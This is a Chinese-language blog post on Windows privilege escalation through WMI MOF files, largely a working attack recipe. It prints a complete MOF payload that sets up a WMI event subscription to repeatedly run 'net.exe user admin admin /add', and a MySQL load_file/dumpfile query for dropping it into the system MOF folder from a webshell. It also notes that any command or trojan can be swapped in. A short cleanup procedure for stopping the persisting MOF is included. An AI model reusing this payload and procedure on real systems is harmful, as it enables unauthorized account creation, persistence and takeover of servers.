最新消息:

MOF文件提权

MySQL数据库 admin 3441浏览 0评论

 Windows 管理规范 (WMI) 提供了以下三种方法编译到WMI存储库的托管对象格式 (MOF) 文件:

方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
方法2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到%SystemRoot%\System32\Wbem\MOF文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,
或使用 IMofCompiler::CompileFile 方法。
注意:
第三种方法仅为向后兼容性与早期版本(win2003)的 WMI 提供,
并因为此功能可能不会提供在将来的版本后,不应使用。
鬼哥:
我现在只想知道怎么停止已执行的mof,
昨天测试的时候放了个.mof到
C:\WINDOWS\system32\wbem\mof\
从昨天晚上一直到现在还在每过5秒就执行次加个用户,
搞的我郁闷死了。。。
解决办法:
第一 net stop winmgmt 停止服务,
第二 删除文件夹:C:\WINDOWS\system32\wbem\Repository\
第三 net start winmgmt 启动服务
第四:完毕不会在执行了。
C:\WINDOWS\system32\wbem\Repository\ 放的是储存库 我们执行的.mof都会被加入到这个库了。
然后一直按脚本设置的时间执行。。
删除后 重新启动 会重建个默认储存库 这样我们先前执行mof就没了。
——————————-XXX.MOF———————————————————–
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
    EventNamespace = “Root\\Cimv2”;
    Name  = “filtP2”;
    Query = “Select * From __InstanceModificationEvent “
            “Where TargetInstance Isa \”Win32_LocalTime\” “
            “And TargetInstance.Second = 5”;
    QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;
};
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
——————————-XXX.MOF end———————————————————–
最近的MYSQL提权也是利用此法.
1.找个可写目录,上传mof文件
2.执行sql
select load_file(‘C:\\RECYCLER\\nullevt.mof’) into
dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day 利用
这个:MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day

http://www.exploit-db.com/exploits/23083/
大致看了一下,原来是在导出文件的时候出的问题,具体怎么出的问题,表示看mysql的源码不是我能看的来的。。
大家都知道,要对方开启mysql的外联,并且有root密码,这种情况只能用来扫肉鸡了,还蛋疼的不行。所以我感觉用在webshell下辅助提权不错,毕竟如果导udf什么相对麻烦了一些。所以就有下面的利用:
1.找个可写目录,我这里是C:\recycler\,把如下代码写到nullevt.mof文件里(也就是他源码里的payload):

  1. #pragma namespace(“\\\\.\\root\\subscription”)
  2. instance of __EventFilter as $EventFilter
  3. {
  4.     EventNamespace = “Root\\Cimv2”;
  5.     Name  = “filtP2”;
  6.     Query = “Select * From __InstanceModificationEvent “
  7.             “Where TargetInstance Isa \”Win32_LocalTime\” “
  8.             “And TargetInstance.Second = 5”;
  9.     QueryLanguage = “WQL”;
  10. };
  11. instance of ActiveScriptEventConsumer as $Consumer
  12. {
  13.     Name = “consPCSV2”;
  14.     ScriptingEngine = “JScript”;
  15.     ScriptText =
  16.     “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;
  17. };
  18. instance of __FilterToConsumerBinding
  19. {
  20.     Consumer   = $Consumer;
  21.     Filter = $EventFilter;
  22. };

注意上面的net.exe user admin admin /add,可以随便改的,想执行啥都行,有没有参数也都行,执行自己的马也行。
再然后,在菜刀里连接mysql数据库后执行:

  1. select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;\

再然后。。你会发现用户添加上去了。
注:测试环境为windows 2003 + mysql 5.0.45-community-nt
win7旗舰版 sp1 + mysql-5.5.28 测试失败,2008未测试。
不过那个利用ADS新建\lib\plugin目录的bug还在,还可以利用那个去导udf提权的。

      注:经亲自测试,添加上的不是默认管理权限,所以你可以在做更改exp的代码,提升到管理员权限,还有就是改exp会每隔5秒再次添加,删了会再次添加、解决方法未知

 

 

来自为知笔记(Wiz)

转载请注明:jinglingshu的博客 » MOF文件提权

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址